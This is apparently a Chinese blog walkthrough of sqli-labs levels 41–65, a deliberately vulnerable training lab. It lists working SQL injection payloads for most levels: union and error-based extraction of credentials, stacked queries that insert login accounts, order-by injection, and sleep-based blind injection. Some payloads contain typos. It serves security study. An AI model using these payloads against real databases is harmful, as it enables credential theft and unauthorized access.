sql-labs 41-65关

2023-11-13

Less-41

这关还是堆叠注入,而且还是数字型闭合。可以照搬39关代码,但是与39不同的是,这关没有报错的显示位。
查数据
/?id=1&id=0 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

Less-42

这关发现不让我注册账号,也不让忘记密码。老让我GO HACK IT!哈哈。正确登录进去,也看不到在哪里入手。看了源码
在这里插入图片描述
账号进行了转义,密码没有。看了别人的方法,是要通过密码框,创建一个类似users的表,然后插入数据,就可以登录了。但是有个问题,我怎么知道对方数据库有一个users表?
后来一想可能这是一个已知条件吧,当已知一个网站的的数据表后,可以用这样的方法去注入。登陆前
在这里插入图片描述
Username:随意
Password: c';create table less42 like users#
在这里插入图片描述
可以看到创建成功,然后再登录输入密码
Password:c';insert into less42 (username,password) values ("less42","123")#
可以看到添加了数据进去。
那这样的话就可以给users数据表添加数据,得以进入系统,即使这个系统不让我们注册账号。
密码输入:c';insert into users (username,password) values ("less42","123")#

Less-43

与42关原理一致,只是闭合方式不同。为')型。

Less-44

与42关原理一致,只是没有报错信息。

Less-45

和44关一模一样。

Less-46

这一关开始就是新知识点,order by注入。
这时的sql语句是$sql = "SELECT * FROM users ORDER BY $id";注入点再order by后面的参数上。
首先先要尝试输入/?sort=1 desc/?sort=1 asc根据显示的不同,可以判断有没有注入点。
有三种注入形式
1、直接添加注入语句,/?sort=(select databases())
2、利用一些函数。如 rand()函数等,/?sort=rand(sql 语句) 返回的结果和sql语句的真假有关系。rand(ture)和 rand(false)的结果是不一样的。
3、利用 and,如/?sort=1 and (加 sql 语句)。 sql可以为报错注入或者延时注入。
直接查询:/?sort=(select%20database())
报错查询数据库:
/?sort=1 and (select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20database()),0x3a,0x3a,floor(rand()*2)))

Less-47

这关和46关原理一样,只是闭合方式不同,单引号闭合型,后边记得加–+进行注释。
直接查询:/?sort=1' and (select database())--+
报错查询数据库:
/?sort=1' and (select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20database()),0x3a,0x3a,floor(rand()*2)))

Less-48

这关没有报错回显,可以用/?sort=rand(true/false)
输入:
/?sort=rand(ascii(left(database(),1))=178)
或者And 后的延时注入
/?sort=1 and (If(ascii(substr(database(),1,1))=115,0,slee p(5)))

Less-49

延时注入:
/?sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))--+

Less-50

从本关开始我们 order by stacked injection(排序叠层注入)
之前我们执行sql语句使用的是 mysqli _query(),而这里使用的是mysqli_multi_query()函数。区别在于前者执行一个sql语句而后者可以在执行多个sql语句,中间可以用隔开。
那这样就可以输入/?sort=1;insert into user (username,password) values ("less50",“123”),插入数据,登录成功。

Less-51

这关和上关一样,只是'闭合型。

Less-52

和50关一样,只是mysql 错误不会在前台显示,但是对于堆叠注入是一样。

Less-53

同52关。

Less-54

这一关的蓝字告诉我们只能尝试十次,所以需要在尝试的时候进行思考,如何能更少的减少次数。而且这里的表名和密码等是每十次尝试后就强制进行更换。 因为已经知道了数据库名字叫做 challenges,所以我们需要知道表名。
查表名:
/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
在这里插入图片描述
查到了数据表为:ykkusha0id。
联合注入,具体参考里边的第一关记得把里边相应的数据库数据表名字换成这一关的。
查字段名:
/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ykkusha0id' and table_schema='challenges'),3--+
在这里插入图片描述
查数据:
/?id=0' union select 1,(select group_concat(secret_WEMH) from challenges.ykkusha0id),3--+
在这里插入图片描述

Less-55

这关是)闭合。
先查表名:
/?id=0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
在这里插入图片描述表名为:vq8b2uxik0
查字段名:
/?id=0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='vq8b2uxik0' and table_schema='challenges'),3--+
在这里插入图片描述字段有:id,sessid,secret_GY3G,tryy
查密码:
/?id=0) union select 1,(select group_concat(secret_GY3G) from challenges.vq8b2uxik0),3--+
在这里插入图片描述
密码为:LDsPrKzdk1l0XSprFR4D8SYg

Less-56

这关为')型闭合,其余的与54关,55关一样。

Less-57

这关是"型闭合,其余与54关一样。

Less-58

这关尝试后发现,只给了五次机会且没有显示位,所以要用盲注。
用报错注入查数据表:
/?id=1' and (select 1 from (select count(*),concat((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述
数据表为:iiv626t2tw1
查字段名:
/?id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='iiv626t2tw1' and table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
接下来可进行修改上述的内容,构造 payload 即可进行注入。

Less-59

这关是数字型,其余的与58关一致。

Less-60

这关是")型闭合,其余与58关一致。

Less-61

这关是'))型闭合,头一次碰见,其余与58关一致。

Less-62

此处 union 和报错注入都已经失效了,那我们就要使用延时注入了。
/?id=1')and If(ascii(substr((select group_concat(tabl e_name) from%20information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
一个一个试出来,给130次尝试机会是有道理的。

Less-63

这关为'闭合型,其余与62关一样。

Less-64

这关为))型,其余与62关一样。

Less-65

这关为")型闭合,其余与62关一样。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql-labs 41-65关 的相关文章

随机推荐